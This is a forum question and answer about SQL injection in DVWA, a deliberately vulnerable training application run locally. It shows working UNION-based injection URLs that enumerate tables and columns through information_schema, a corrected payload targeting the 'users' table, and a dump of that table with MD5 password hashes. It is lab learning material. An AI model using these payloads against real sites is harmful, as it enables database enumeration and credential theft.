DVWA SQLi: How to get column names from table “users” only? You can find the original question here. However it has been closed almost immediately by schroeder with the following justification.


  This is a pure SQL question, not a security question. You are
  literally asking for all column names in the database ...


I hope this is the right channel then.

This is DVWA database. There are only 2 tables in it.

mysql&gt; show tables; 
+----------------+
| Tables_in_dvwa |
+----------------+
| guestbook      | 
| users          | 
+----------------+
2 rows in set (0.00 sec)

mysql&gt; 


I've no issue getting these 2 tables via SQL injection bug

http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=' UNION SELECT GROUP_CONCAT(table_name),2 FROM information_schema.tables WHERE table_schema=DATABASE() -- -&amp;Submit=Submit#


Output in web (TABLE_NAME in "dvwa" DATABASE)

First name: guestbook,users


Table "users" looks interesting and would like to know all columns in it.

There are 6 columns as shown in MySQL query below.

mysql&gt; SELECT * FROM users;
+---------+------------+-----------+---------+----------------------------------+-------------------------------------------------------+
| user_id | first_name | last_name | user    | password                         | avatar                                                |
+---------+------------+-----------+---------+----------------------------------+-------------------------------------------------------+
|       1 | admin      | admin     | admin   | 5f4dcc3b5aa765d61d8327deb882cf99 | http://172.16.123.129/dvwa/hackable/users/admin.jpg   | 
|       2 | Gordon     | Brown     | gordonb | e99a18c428cb38d5f260853678922e03 | http://172.16.123.129/dvwa/hackable/users/gordonb.jpg | 
|       3 | Hack       | Me        | 1337    | 8d3533d75ae2c3966d7e0d4fcc69216b | http://172.16.123.129/dvwa/hackable/users/1337.jpg    | 
|       4 | Pablo      | Picasso   | pablo   | 0d107d09f5bbe40cade3de5c71e9e9b7 | http://172.16.123.129/dvwa/hackable/users/pablo.jpg   | 
|       5 | Bob        | Smith     | smithy  | 5f4dcc3b5aa765d61d8327deb882cf99 | http://172.16.123.129/dvwa/hackable/users/smithy.jpg  | 
+---------+------------+-----------+---------+----------------------------------+-------------------------------------------------------+
5 rows in set (0.00 sec)

mysql&gt; 


However, my next attempt to get only columns from table users didn't work well.

http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=' UNION SELECT GROUP_CONCAT(column_name),2 FROM information_schema.columns WHERE table_schema=DATABASE() -- -&amp;Submit=Submit#


Output in web

First name: comment_id,comment,name,user_id,first_name,last_name,user,password,avatar


The problem is columns comment_id,comment,name are not part of users table.

What's wrong in this SQLi syntax and how do I get only column names from table users only.

DESIRED OUTPUT

First name: user_id,first_name,last_name,user,password,avatar
This query select column_name from database information_schema, specifically in table columns where the database name is the one selected by the programmer which is also similar to function database()

UNION SELECT GROUP_CONCAT(column_name),2 FROM information_schema.columns WHERE table_schema=DATABASE()


How it looks like on MySQL shell. Only column column_name in database information_schema, column TABLE_SCHEMA where did you get i from function DATABASE() will appear.

However, you did not see column TABLE_SCHEMA as you did not select it on the query.

mysql&gt; SELECT column_name FROM information_schema.columns WHERE table_schema=DATABASE();
+-------------+
| column_name |
+-------------+
| comment_id  | 
| comment     | 
| name        | 
| user_id     | 
| first_name  | 
| last_name   | 
| user        | 
| password    | 
| avatar      | 
+-------------+
9 rows in set (0.01 sec)

mysql&gt; 


This is the whole column in database information_schema, table columns WHERE table_name='users'. You should get the idea by now.

mysql&gt; SELECT * FROM information_schema.columns WHERE table_name='users';
+---------------+--------------+------------+-------------+------------------+----------------+-------------+-----------+--------------------------+------------------------+-------------------+---------------+--------------------+-------------------+-------------+------------+----------------+---------------------------------+----------------+
| TABLE_CATALOG | TABLE_SCHEMA | TABLE_NAME | COLUMN_NAME | ORDINAL_POSITION | COLUMN_DEFAULT | IS_NULLABLE | DATA_TYPE | CHARACTER_MAXIMUM_LENGTH | CHARACTER_OCTET_LENGTH | NUMERIC_PRECISION | NUMERIC_SCALE | CHARACTER_SET_NAME | COLLATION_NAME    | COLUMN_TYPE | COLUMN_KEY | EXTRA          | PRIVILEGES                      | COLUMN_COMMENT |
+---------------+--------------+------------+-------------+------------------+----------------+-------------+-----------+--------------------------+------------------------+-------------------+---------------+--------------------+-------------------+-------------+------------+----------------+---------------------------------+----------------+
| NULL          | dvwa         | users      | user_id     |                1 | 0              | NO          | int       |                     NULL |                   NULL |                10 |             0 | NULL               | NULL              | int(6)      | PRI        |                | select,insert,update,references |                | 
| NULL          | dvwa         | users      | first_name  |                2 | NULL           | YES         | varchar   |                       15 |                     15 |              NULL |          NULL | latin1             | latin1_swedish_ci | varchar(15) |            |                | select,insert,update,references |                | 
| NULL          | dvwa         | users      | last_name   |                3 | NULL           | YES         | varchar   |                       15 |                     15 |              NULL |          NULL | latin1             | latin1_swedish_ci | varchar(15) |            |                | select,insert,update,references |                | 
| NULL          | dvwa         | users      | user        |                4 | NULL           | YES         | varchar   |                       15 |                     15 |              NULL |          NULL | latin1             | latin1_swedish_ci | varchar(15) |            |                | select,insert,update,references |                | 
| NULL          | dvwa         | users      | password    |                5 | NULL           | YES         | varchar   |                       32 |                     32 |              NULL |          NULL | latin1             | latin1_swedish_ci | varchar(32) |            |                | select,insert,update,references |                | 
| NULL          | dvwa         | users      | avatar      |                6 | NULL           | YES         | varchar   |                       70 |                     70 |              NULL |          NULL | latin1             | latin1_swedish_ci | varchar(70) |            |                | select,insert,update,references |                | 
+---------------+--------------+------------+-------------+------------------+----------------+-------------+-----------+--------------------------+------------------------+-------------------+---------------+--------------------+-------------------+-------------+------------+----------------+---------------------------------+----------------+
9 rows in set (0.01 sec)

mysql&gt; 


Look at columns such as TABLE_SCHEMA and COLUMN_NAME. These are the one you used in the previous query.

Also, there is TABLE_NAME in it so you can actually limit the output with where command.

To make it easier to understand, let's modify the SQL query again.

mysql&gt; SELECT table_schema,table_name,column_name FROM information_schema.columns WHERE table_schema=DATABASE();
+--------------+------------+-------------+
| table_schema | table_name | column_name |
+--------------+------------+-------------+
| dvwa         | guestbook  | comment_id  | 
| dvwa         | guestbook  | comment     | 
| dvwa         | guestbook  | name        | 
| dvwa         | users      | user_id     | 
| dvwa         | users      | first_name  | 
| dvwa         | users      | last_name   | 
| dvwa         | users      | user        | 
| dvwa         | users      | password    | 
| dvwa         | users      | avatar      | 
+--------------+------------+-------------+
9 rows in set (0.01 sec)

mysql&gt; 


By now, you should understand why your query produced something out of users table.

Instead of querying the column_name from the current database (WHERE table_schema=DATABASE()), you should get it from the table you wanted which is users in this case.

mysql&gt; SELECT column_name FROM information_schema.columns WHERE table_name='users';
+-------------+
| column_name |
+-------------+
| user_id     | 
| first_name  | 
| last_name   | 
| user        | 
| password    | 
| avatar      | 
| id          | 
| username    | 
| password    | 
+-------------+
9 rows in set (0.01 sec)

mysql&gt; 


So the query from the web should looks like this

UNION SELECT GROUP_CONCAT(column_name),2 FROM information_schema.columns WHERE table_name='users'